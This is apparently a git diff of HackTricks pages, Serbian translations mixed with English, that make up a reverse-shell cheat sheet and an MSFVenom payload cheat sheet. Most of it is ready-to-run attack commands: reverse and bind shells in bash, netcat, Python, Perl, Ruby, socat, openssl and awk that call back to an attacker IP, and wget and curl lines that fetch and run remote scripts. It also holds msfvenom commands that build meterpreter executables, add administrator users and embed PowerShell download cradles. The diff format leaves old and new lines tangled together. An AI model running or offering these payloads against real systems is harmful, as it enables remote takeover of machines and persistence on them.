* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}
**Try Hard Security Group** **Try Hard Security Group**
@ -22,11 +23,11 @@ Drugi načini podrške HackTricks-u:
*** ***
**Ako imate pitanja o bilo kojoj od ovih školjki, možete ih proveriti na** [**https://explainshell.com/**](https://explainshell.com) **Ako imate pitanja o bilo kojoj od ovih ljuski, možete ih proveriti na** [**https://explainshell.com/**](https://explainshell.com)
## Potpuni TTY ## Full TTY
**Kada dobijete reverznu školjku**[ **pročitajte ovu stranicu da biste dobili potpuni TTY**](full-ttys.md)**.** **Kada dobijete reverznu ljusku**[ **pročitajte ovu stranicu da dobijete pun TTY**](full-ttys.md)**.**
## Bash | sh ## Bash | sh
```bash ```bash
@ -41,9 +42,9 @@ exec 5<>/dev/tcp/<ATTACKER-IP>/<PORT>; while read line 0<&5; do $line 2>&5 >&5;
#after getting the previous shell to get the output to execute #after getting the previous shell to get the output to execute
exec >&0 exec >&0
``` ```
### Simbol bezbedna ljuska Ne zaboravite da proverite sa drugim shell-ovima: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh i bash.
Ne zaboravite da proverite i sa drugim ljuskama: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh i bash. ### Siguran simbol shell
```bash ```bash
#If you need a more stable connection do: #If you need a more stable connection do:
bash -c 'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1' bash -c 'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1'
@ -52,26 +53,26 @@ bash -c 'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1'
#B64 encode the shell like: echo "bash -c 'bash -i >& /dev/tcp/10.8.4.185/4444 0>&1'" | base64 -w0 #B64 encode the shell like: echo "bash -c 'bash -i >& /dev/tcp/10.8.4.185/4444 0>&1'" | base64 -w0
echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMScK | base64 -d | bash 2>/dev/null echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMScK | base64 -d | bash 2>/dev/null
``` ```
#### Objasnjenje Shell-a #### Objašnjenje ljuske
1. **`bash -i`**: Ovaj deo komande pokreće interaktivnu (`-i`) Bash ljusku. 1. **`bash -i`**: Ovaj deo komande pokreće interaktivnu (`-i`) Bash ljusku.
2. **`>&`**: Ovaj deo komande je skraćena oznaka za **preusmeravanje kako standardnog izlaza** (`stdout`) tako i **standardne greške** (`stderr`) na **isti odredište**. 2. **`>&`**: Ovaj deo komande je skraćena notacija za **preusmeravanje standardnog izlaza** (`stdout`) i **standardne greške** (`stderr`) na **istu destinaciju**.
3. **`/dev/tcp/<IP-NAPADACA>/<PORT>`**: Ovo je poseban fajl koji **predstavlja TCP konekciju ka navedenoj IP adresi i portu**. 3. **`/dev/tcp/<NAPADAČ-IP>/<PORT>`**: Ovo je poseban fajl koji **predstavlja TCP vezu sa navedenom IP adresom i portom**.
* **Preusmeravanjem izlaznih i grešnih tokova u ovaj fajl**, komanda efikasno šalje izlaz interaktivne ljuske sesije ka računaru napadača. * Preusmeravanjem izlaza i tokova grešaka na ovaj fajl, komanda efikasno šalje izlaz interaktivne sesije ljuske na napadačevu mašinu.
4. **`0>&1`**: Ovaj deo komande **preusmerava standardni ulaz (`stdin`) na isto odredište kao standardni izlaz (`stdout`)**. 4. **`0>&1`**: Ovaj deo komande **preusmerava standardni ulaz (`stdin`) na istu destinaciju kao standardni izlaz (`stdout`)**.
### Kreiraj u fajlu i izvrši ### Kreiraj u fajlu i izvrši
```bash ```bash
echo -e '#!/bin/bash\nbash -i >& /dev/tcp/1<ATTACKER-IP>/<PORT> 0>&1' > /tmp/sh.sh; bash /tmp/sh.sh; echo -e '#!/bin/bash\nbash -i >& /dev/tcp/1<ATTACKER-IP>/<PORT> 0>&1' > /tmp/sh.sh; bash /tmp/sh.sh;
wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.sh wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.sh
``` ```
## Napredna ljuska ## Forward Shell
Kada se suočite sa ranjivošću **Udaljenog izvršenja koda (RCE)** unutar veb aplikacije zasnovane na Linuxu, postizanje reverzne ljuske može biti otežano zbog mrežnih odbrana poput iptables pravila ili složenih mehanizama filtriranja paketa. U takvim ograničenim okruženjima, alternativni pristup uključuje uspostavljanje PTY (Pseudo Terminal) ljuske kako biste efikasnije interagirali sa kompromitovanim sistemom. Kada se suočavate sa **Remote Code Execution (RCE)** ranjivošću unutar Linux-bazirane web aplikacije, postizanje reverzibilne ljuske može biti otežano mrežnim odbranama poput iptables pravila ili složenih mehanizama filtriranja paketa. U takvim ograničenim okruženjima, alternativni pristup uključuje uspostavljanje PTY (Pseudo Terminal) ljuske za efikasniju interakciju sa kompromitovanim sistemom.
Preporučeni alat za tu svrhu je [toboggan](https://github.com/n3rada/toboggan.git), koji pojednostavljuje interakciju sa ciljnim okruženjem. Preporučeni alat za ovu svrhu je [toboggan](https://github.com/n3rada/toboggan.git), koji pojednostavljuje interakciju sa ciljnim okruženjem.
Da biste efikasno koristili toboggan, kreirajte Python modul prilagođen RCE kontekstu vašeg ciljnog sistema. Na primer, modul nazvan `nix.py` može biti struktuiran na sledeći način: Da biste efikasno koristili toboggan, kreirajte Python modul prilagođen RCE kontekstu vašeg ciljnog sistema. Na primer, modul nazvan `nix.py` mogao bi biti strukturiran na sledeći način:
```python3 ```python3
import jwt import jwt
import httpx import httpx
@ -95,21 +96,21 @@ response.raise_for_status()
return response.text return response.text
``` ```
I onda možete pokrenuti: А онда можете да покренете:
```shell ```shell
toboggan -m nix.py -i toboggan -m nix.py -i
``` ```
Da biste direktno iskoristili interaktivnu ljusku, možete dodati `-b` za integraciju sa Burpsuite-om i ukloniti `-i` za osnovniji rce omotač. Da biste direktno iskoristili interaktivnu ljusku. Možete dodati `-b` za Burpsuite integraciju i ukloniti `-i` za osnovniji rce omotač.
Druga mogućnost je korišćenje implementacije `IppSec` forward ljuske [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell). Druga mogućnost je korišćenje `IppSec` forward shell implementacije [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell).
Samo trebate izmeniti: Samo treba da modifikujete:
* URL ranjivog hosta * URL ranjivog hosta
* Prefiks i sufiks vašeg payload-a (ako postoji) * Prefiks i sufiks vašeg payload-a (ako ih ima)
* Način slanja payload-a (zaglavlja? podaci? dodatne informacije?) * Način na koji se payload šalje (zaglavlja? podaci? dodatne informacije?)
Zatim možete jednostavno **slati komande** ili čak **koristiti komandu `upgrade`** da biste dobili potpunu PTY (imajte na umu da se cevi čitaju i pišu sa oko 1.3s kašnjenja). Zatim, možete jednostavno **slati komande** ili čak **koristiti `upgrade` komandu** da dobijete pun PTY (napomena: cevi se čitaju i pišu sa približno 1.3s kašnjenja).
## Netcat ## Netcat
```bash ```bash
@ -121,13 +122,11 @@ rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | nc <ATTACKER-IP> <
``` ```
## gsocket ## gsocket
Proverite na [https://www.gsocket.io/deploy/](https://www.gsocket.io/deploy/) Proverite to na [https://www.gsocket.io/deploy/](https://www.gsocket.io/deploy/)
```bash ```bash
bash -c "$(curl -fsSL gsocket.io/x)" bash -c "$(curl -fsSL gsocket.io/x)"
``` ```
## Telnet ## Telnet
Telnet je popularan protokol za udaljenu komunikaciju koji omogućava korisnicima da se povežu i komuniciraju sa udaljenim računarima putem mreže.
```bash ```bash
telnet <ATTACKER-IP> <PORT> | /bin/sh #Blind telnet <ATTACKER-IP> <PORT> | /bin/sh #Blind
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet <ATTACKER-IP> <PORT> >/tmp/f rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet <ATTACKER-IP> <PORT> >/tmp/f
@ -140,13 +139,13 @@ rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | telnet <ATTACKER-I
```bash ```bash
while true; do nc -l <port>; done while true; do nc -l <port>; done
``` ```
Da biste poslali komandu, napišite je, pritisnite Enter, a zatim pritisnite CTRL+D (da zaustavite STDIN) Da biste poslali komandu, napišite je, pritisnite enter i pritisnite CTRL+D (da zaustavite STDIN)
**Žrtva** **Žrtva**
```bash ```bash
export X=Connected; while true; do X=`eval $(whois -h <IP> -p <Port> "Output: $X")`; sleep 1; done export X=Connected; while true; do X=`eval $(whois -h <IP> -p <Port> "Output: $X")`; sleep 1; done
``` ```
## Python ## Питон
```bash ```bash
#Linux #Linux
export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")' export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
@ -159,9 +158,7 @@ python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socke
perl -e 'use Socket;$i="<ATTACKER-IP>";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' perl -e 'use Socket;$i="<ATTACKER-IP>";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
``` ```
## Ruby ## Руби
## Ruby
```bash ```bash
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
@ -251,7 +248,7 @@ openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -node
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port2> #Here yo will be able to get the response openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port2> #Here yo will be able to get the response
``` ```
Žrtva Жртва
```bash ```bash
#Linux #Linux
openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2> openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
@ -268,7 +265,7 @@ openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_cli
victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
attacker> socat FILE:`tty`,raw,echo=0 TCP:<victim_ip>:1337 attacker> socat FILE:`tty`,raw,echo=0 TCP:<victim_ip>:1337
``` ```
### Obrnuti shell ### Obrnuta ljuska
```bash ```bash
attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0 attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
@ -277,13 +274,13 @@ victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
```bash ```bash
awk 'BEGIN {s = "/inet/tcp/0/<IP>/<PORT>"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null awk 'BEGIN {s = "/inet/tcp/0/<IP>/<PORT>"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
``` ```
## Prst ## Finger
**Napadač** **Napadač**
```bash ```bash
while true; do nc -l 79; done while true; do nc -l 79; done
``` ```
Da biste poslali komandu, napišite je, pritisnite Enter i pritisnite CTRL+D (da zaustavite STDIN) Da biste poslali komandu, napišite je, pritisnite enter i pritisnite CTRL+D (da zaustavite STDIN)
**Žrtva** **Žrtva**
```bash ```bash
@ -320,7 +317,7 @@ Ovo će pokušati da se poveže sa vašim sistemom na portu 6001:
```bash ```bash
xterm -display 10.0.0.1:1 xterm -display 10.0.0.1:1
``` ```
Da biste uhvatili obrnutu ljusku, možete koristiti (koja će slušati na portu 6001): Da biste uhvatili reverznu ljusku, možete koristiti (koja će slušati na portu 6001):
```bash ```bash
# Authorize host # Authorize host
xhost +targetip xhost +targetip
@ -329,7 +326,7 @@ Xnest :1
``` ```
## Groovy ## Groovy
od [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) NAPOMENA: Java reverse shell takođe radi za Groovy by [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) NAPOMENA: Java reverse shell takođe radi za Groovy
```bash ```bash
String host="localhost"; String host="localhost";
int port=8044; int port=8044;
@ -349,16 +346,17 @@ Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podrška HackTricks</summary>
Drugi načini podrške HackTricks-u: * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}

View file

@ -1,48 +1,49 @@
# MSFVenom - Šifarnik # MSFVenom - CheatSheet
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru kako biste komunicirali sa iskusnim hakerima i lovcima na bagove! Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
**Hakerski Uvidi**\ **Hacking Insights**\
Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja Engage with content that delves into the thrill and challenges of hacking
**Vesti o Hakovanju u Realnom Vremenu**\ **Real-Time Hack News**\
Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu Keep up-to-date with fast-paced hacking world through real-time news and insights
**Najnovije Najave**\ **Latest Announcements**\
Budite informisani o najnovijim programima nagrađivanja za pronalaženje bagova i bitnim ažuriranjima platformi Stay informed with the newest bug bounties launching and crucial platform updates
**Pridružite nam se na** [**Discord-u**](https://discord.com/invite/N3FrSbmwdy) i počnite da sarađujete sa vrhunskim hakerima danas! **Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
*** ***
## Osnovno msfvenom ## Basic msfvenom
`msfvenom -p <PAYLOAD> -e <ENCODER> -f <FORMAT> -i <ENCODE COUNT> LHOST=<IP>` `msfvenom -p <PAYLOAD> -e <ENCODER> -f <FORMAT> -i <ENCODE COUNT> LHOST=<IP>`
Takođe se može koristiti `-a` da se specificira arhitektura ili `--platform` Možete takođe koristiti `-a` da odredite arhitekturu ili `--platform`
## Listing ## Listing
```bash ```bash
msfvenom -l payloads #Payloads msfvenom -l payloads #Payloads
msfvenom -l encoders #Encoders msfvenom -l encoders #Encoders
``` ```
## Uobičajeni parametri prilikom kreiranja shell koda ## Uobičajeni parametri prilikom kreiranja shellcode-a
```bash ```bash
-b "\x00\x0a\x0d" -b "\x00\x0a\x0d"
-f c -f c
@ -52,21 +53,19 @@ PrependSetuid=True #Use this to create a shellcode that will execute something w
``` ```
## **Windows** ## **Windows**
### **Obrnuti školjka** ### **Obrnuta ljuska**
{% code overflow="wrap" %} {% code overflow="wrap" %}
```bash ```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > reverse.exe msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > reverse.exe
``` ```
### Bind Shell ### Bind Shell
{% code overflow="wrap" %}
```bash ```bash
msfvenom -p windows/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f exe > bind.exe msfvenom -p windows/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f exe > bind.exe
``` ```
### Napravi korisnika ### Kreiraj korisnika
{% endcode %} {% code overflow="wrap" %}
```bash ```bash
msfvenom -p windows/adduser USER=attacker PASS=attacker@123 -f exe > adduser.exe msfvenom -p windows/adduser USER=attacker PASS=attacker@123 -f exe > adduser.exe
``` ```
@ -76,91 +75,101 @@ msfvenom -p windows/adduser USER=attacker PASS=attacker@123 -f exe > adduser.exe
```bash ```bash
msfvenom -p windows/shell/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > prompt.exe msfvenom -p windows/shell/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > prompt.exe
``` ```
### **Izvršavanje komande** ### **Izvrši Komandu**
{% code overflow="wrap" %} {% code overflow="wrap" %}
```bash ```bash
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://IP/nishang.ps1')\"" -f exe > pay.exe msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://IP/nishang.ps1')\"" -f exe > pay.exe
msfvenom -a x86 --platform Windows -p windows/exec CMD="net localgroup administrators shaun /add" -f exe > pay.exe msfvenom -a x86 --platform Windows -p windows/exec CMD="net localgroup administrators shaun /add" -f exe > pay.exe
``` ```
### Enkoder ### Encoder
{% code overflow="wrap" %}
```bash ```bash
msfvenom -p windows/meterpreter/reverse_tcp -e shikata_ga_nai -i 3 -f exe > encoded.exe msfvenom -p windows/meterpreter/reverse_tcp -e shikata_ga_nai -i 3 -f exe > encoded.exe
``` ```
{% endcode %}
### Ugrađeno unutar izvršnog fajla ### Ugrađeno unutar izvršnog fajla
{% code overflow="wrap" %} {% code overflow="wrap" %}
```bash ```bash
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -x /usr/share/windows-binaries/plink.exe -f exe -o plinkmeter.exe msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -x /usr/share/windows-binaries/plink.exe -f exe -o plinkmeter.exe
``` ```
{% endcode %}
## Linux Payloads ## Linux Payloads
### Reverse Shell ### Reverse Shell
{% code overflow="wrap" %}
```bash ```bash
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f elf > reverse.elf msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f elf > reverse.elf
msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f elf > shell.elf msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f elf > shell.elf
``` ```
### Bind Shell ### Bind Shell
{% code overflow="wrap" %}
```bash ```bash
msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f elf > bind.elf msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f elf > bind.elf
``` ```
{% endcode %}
### SunOS (Solaris) ### SunOS (Solaris)
{% code overflow="wrap" %} {% code overflow="wrap" %}
```bash ```bash
msfvenom --platform=solaris --payload=solaris/x86/shell_reverse_tcp LHOST=(ATTACKER IP) LPORT=(ATTACKER PORT) -f elf -e x86/shikata_ga_nai -b '\x00' > solshell.elf msfvenom --platform=solaris --payload=solaris/x86/shell_reverse_tcp LHOST=(ATTACKER IP) LPORT=(ATTACKER PORT) -f elf -e x86/shikata_ga_nai -b '\x00' > solshell.elf
``` ```
{% endcode %}
## **MAC Payloads** ## **MAC Payloads**
### **Reverse Shell:** ### **Obrnuta ljuska:**
{% code overflow="wrap" %} {% code overflow="wrap" %}
```bash ```bash
msfvenom -p osx/x86/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f macho > reverse.macho msfvenom -p osx/x86/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f macho > reverse.macho
``` ```
### **Bind Shell** ### **Bind Shell**
{% code overflow="wrap" %}
```bash ```bash
msfvenom -p osx/x86/shell_bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f macho > bind.macho msfvenom -p osx/x86/shell_bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f macho > bind.macho
``` ```
## **Veb bazirani Payload-ovi** {% endcode %}
## **Web Based Payloads**
### **PHP** ### **PHP**
#### Obrnuti šel**l** #### Obrnuta ljuska
{% code overflow="wrap" %}
```bash ```bash
msfvenom -p php/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.php msfvenom -p php/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
``` ```
{% endcode %}
### ASP/x ### ASP/x
#### Reverska ljuska #### Obrnuta ljuska
{% code overflow="wrap" %} {% code overflow="wrap" %}
```bash ```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f asp >reverse.asp msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f asp >reverse.asp
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f aspx >reverse.aspx msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f aspx >reverse.aspx
``` ```
{% endcode %}
### JSP ### JSP
#### Reverska ljuska #### Obrnuta ljuska
{% code overflow="wrap" %} {% code overflow="wrap" %}
```bash ```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f raw> reverse.jsp msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f raw> reverse.jsp
``` ```
{% endcode %}
### RAT ### RAT
#### Reversni šel #### Obrnuta ljuska
{% endcode %} {% code overflow="wrap" %}
```bash ```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f war > reverse.war msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f war > reverse.war
``` ```
@ -170,7 +179,7 @@ msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f w
```bash ```bash
msfvenom -p nodejs/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) msfvenom -p nodejs/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port)
``` ```
## **Skriptni jezički payload-ovi** ## **Script jezik payloads**
### **Perl** ### **Perl**
@ -178,17 +187,13 @@ msfvenom -p nodejs/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port)
```bash ```bash
msfvenom -p cmd/unix/reverse_perl LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.pl msfvenom -p cmd/unix/reverse_perl LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.pl
``` ```
{% endcode %}
### **Python** ### **Python**
{% code overflow="wrap" %}
```bash ```bash
msfvenom -p cmd/unix/reverse_python LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.py msfvenom -p cmd/unix/reverse_python LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.py
``` ```
### **Bash** {% endcode %}
{% code overflow="wrap" %} ### **Bash**
```bash ```bash
